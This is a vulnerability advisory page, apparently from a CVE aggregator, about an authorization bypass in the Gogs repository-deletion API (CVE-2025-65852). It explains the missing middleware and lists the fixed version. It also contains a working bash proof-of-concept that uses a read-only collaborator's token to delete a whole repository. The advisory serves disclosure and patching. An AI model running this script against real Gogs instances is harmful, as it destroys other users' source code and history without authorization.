CVE-2025-65852

MEDIUMCVSS · not yet scored

Also known asGHSA-rjv5-9px2-fqw6 (GitHub Security Advisories)

—
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No CVSS published and no exploitation signals yet
CISA-KEV: Not listedEPSS PROB: —CVSS v2: —Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

Gogs has authorization bypass in repository deletion API

Summary

The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.

This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().

Details

  • vulnerability location:
  • Vulnerable Endpoint:DELETE /api/v1/repos/:owner/:repo
  • Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
  • Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)
  • Root Cause Analysis

Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)

// 当前的路由配置(存在漏洞)
m.Delete("", repo.Delete)  // 仅继承了外层的 repoAssignment() 中间件

Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)

// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
    // 直接执行删除操作,未验证用户是否为所有者
    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
        c.Error(500, "DeleteRepository", err)
        return
    }
    c.Status(204)
}
  • Missing Permission Check
Comparison with route configurations for other sensitive operations:

// Webhooks 管理(正确实现)
m.Group("/hooks", func() {
    m.Combo("").
        Get(repo.ListHooks).
        Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 部署密钥管理(正确实现) m.Group("/keys", func() { m.Combo(""). Get(repo.ListDeployKeys). Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey) }, reqRepoAdmin()) // ✅ 使用了权限中间件

// 删除仓库(漏洞) m.Delete("", repo.Delete) // ❌ 没有使用权限中间件

  • Data Flow Path
  • API Request Path: DELETE /api/v1/repos/:owner/:repo
  • Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
  • Execution: The system directly executes the repo.Delete() function.
  • Permission Check: The reqRepoOwner() middleware check is missing.
  • Internal Validation: There is no permission validation inside the Delete() function either.
  • Result: Any user with read permission can delete the repository.

PoC

Prerequisites

  • A running Gogs instance.
  • The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
  • The attacker possesses a valid API access token.
  • The target repository exists and is accessible.

📜 Test Steps (Bash)

  • Verify Gogs service is running
curl -I http://localhost:10880
  • Create test accounts and repository
  • Owner account: owner / owner123456
  • Read-only account: victim / victim123456
  • Test repository: owner/delete-test
  • Add 'victim' as a read-only collaborator
Perform this via the Web UI or API
  • Obtain API token for 'victim'
curl -X POST http://localhost:10880/api/v1/users/victim/tokens \ -u victim:victim123456 \ -H "Content-Type: application/json" \ -d '{"name":"test-token"}'
  • Resource deleted

Web UI:Target repository deletion successful

📜 PoC Script

#!/bin/bash

Gogs 仓库删除授权绕过漏洞 PoC

============ 配置信息 ============

GOGS_URL="http://localhost:10880" TARGET_REPO="owner/delete-test" VICTIM_TOKEN="your_victim_read_only_token_here"

============ 执行攻击 ============

echo "========================================" echo "Gogs 仓库删除授权绕过漏洞 PoC" echo "========================================" echo "" echo "目标仓库: $TARGET_REPO" echo "攻击者权限: Read(只读)" echo "预期行为: 403 Forbidden(应该被拒绝)" echo ""

步骤1:验证仓库存在

echo "[步骤1] 验证目标仓库存在..." REPO_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: token $VICTIM_TOKEN" \ "$GOGS_URL/api/v1/repos/$TARGET_REPO")

if [ "$REPO_CHECK" == "200" ]; then echo "✓ 仓库存在且可访问" else echo "✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)" exit 1 fi

步骤2:尝试删除仓库(漏洞利用)

echo "" echo "[步骤2] 使用只读权限尝试删除仓库..." DELETE_RESPONSE=$(curl -s -w "\nHTTP_CODE:%{http_code}" \ -X DELETE \ -H "Authorization: token $VICTIM_TOKEN" \ "$GOGS_URL/api/v1/repos/$TARGET_REPO")

DELETE_CODE=$(echo "$DELETE_RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2)

echo "实际状态码: $DELETE_CODE" echo ""

步骤3:验证结果

if [ "$DELETE_CODE" == "204" ] || [ "$DELETE_CODE" == "200" ]; then echo "========================================" echo "🔴 漏洞确认:删除成功!" echo "========================================" echo "" echo "只读权限用户成功删除了仓库!" echo "" # 验证仓库是否真的被删除 sleep 2 echo "验证仓库是否真的被删除..." VERIFY_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: token $VICTIM_TOKEN" \ "$GOGS_URL/api/v1/repos/$TARGET_REPO") if [ "$VERIFY_CHECK" == "404" ]; then echo "✗ 仓库已被完全删除(404 Not Found)" echo "" echo "危害确认:" echo " - 仓库及所有数据永久丢失" echo " - 代码历史记录不可恢复" echo " - 这是一个 HIGH 级别的严重漏洞" else echo "? 仓库状态未知 (状态码: $VERIFY_CHECK)" fi elif [ "$DELETE_CODE" == "403" ]; then echo "========================================" echo "✅ 无漏洞:操作被正确拒绝" echo "========================================" echo "" echo "只读权限用户无法删除仓库,权限检查正常" else echo "========================================" echo "⚠️ 未预期的响应" echo "========================================" echo "" echo "状态码: $DELETE_CODE" echo "这可能表示 API 端点不存在或其他错误" fi

echo "" echo "========================================" echo "PoC 执行完成" echo "========================================"

Impact

Vulnerability Type: Broken Access Control (CWE-284)

Description: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.

Consequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.

Severity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.

The Core Risk: Privilege Escalation & Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).

CVSS v3
—
EchelonGraph score
Not yet assessedNo source has published severity data for this CVE yet — no CVSS score from NVD or a CNA, no GitHub advisory, and it is not in CISA KEV. This is not a rating of zero; we cannot assess it yet.
EG Score
—
EG Risk
—
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

EG Severity
Not assessed: no CVSS publishedA missing CVSS is not a severity of zero.
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
No SSVC decision: EchelonGraph has not assessed this CVECISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the BOD 26-04 block below.

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

February 6, 2026

Last Modified

February 6, 2026

Vendor Advisories for CVE-2025-65852(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
gogogs.io/gogs @ 0.13.4 (fixes <= 0.13.3)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-03 18:22 UTCEG score recompute
  2. 2026-11-03 18:22 UTCGHSA enrichmentGHSA-rjv5-9px2-fqw6 · GitHub severity MODERATE

Frequently asked(3)

What is CVE-2025-65852?
CVE-2025-65852 is a medium-severity vulnerability; its CVE record was published on February 6, 2026. Gogs has authorization bypass in repository deletion API Summary The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository. This vulnerability stems…
When was the CVE record for CVE-2025-65852 published?
The CVE record for CVE-2025-65852 was published on February 6, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of February 6, 2026; the record at its source may have been updated since.
How do I remediate CVE-2025-65852?
A fixed version for CVE-2025-65852 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2025-65852 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2025-65852

Explore →

Is Your Infrastructure Affected by CVE-2025-65852?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.